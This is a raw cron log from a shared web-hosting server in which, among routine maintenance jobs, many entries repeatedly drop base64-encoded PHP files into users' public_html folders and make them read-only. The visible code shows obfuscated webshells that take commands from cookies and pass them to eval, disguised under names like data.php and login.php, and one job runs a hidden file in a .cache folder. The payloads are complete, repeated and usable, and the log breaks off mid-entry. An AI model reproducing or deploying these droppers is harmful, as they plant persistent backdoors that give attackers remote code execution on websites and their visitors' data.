Mar  2 06:24:01 medusa CROND[6019]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:24:01 medusa CROND[6021]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:24:01 medusa CROND[6020]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:24:01 medusa CROND[6022]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 06:24:01 medusa CROND[6027]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:24:01 medusa CROND[6028]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:24:01 medusa CROND[6029]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:24:01 medusa CROND[6030]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:24:01 medusa CROND[6031]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:24:01 medusa CROND[6032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:24:01 medusa CROND[6038]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:24:01 medusa CROND[6039]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:25:01 medusa CROND[23770]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:25:01 medusa CROND[23782]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 06:25:01 medusa CROND[23844]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 06:25:01 medusa CROND[23845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:25:01 medusa CROND[23846]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 06:25:01 medusa CROND[24028]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 06:25:01 medusa CROND[24029]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 06:25:01 medusa CROND[24032]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:25:01 medusa CROND[24036]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 06:25:01 medusa CROND[24033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:25:01 medusa CROND[24037]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:25:01 medusa CROND[24038]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:25:01 medusa CROND[24041]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 06:25:01 medusa CROND[24042]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 06:25:01 medusa CROND[24045]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:25:01 medusa CROND[24048]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:25:01 medusa CROND[24049]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 06:25:01 medusa CROND[24076]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:25:01 medusa CROND[24078]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:25:01 medusa CROND[24074]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 06:25:01 medusa CROND[24071]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 06:25:01 medusa CROND[24083]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:25:01 medusa CROND[24086]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Mar  2 06:26:02 medusa CROND[9464]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:26:02 medusa CROND[9465]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAg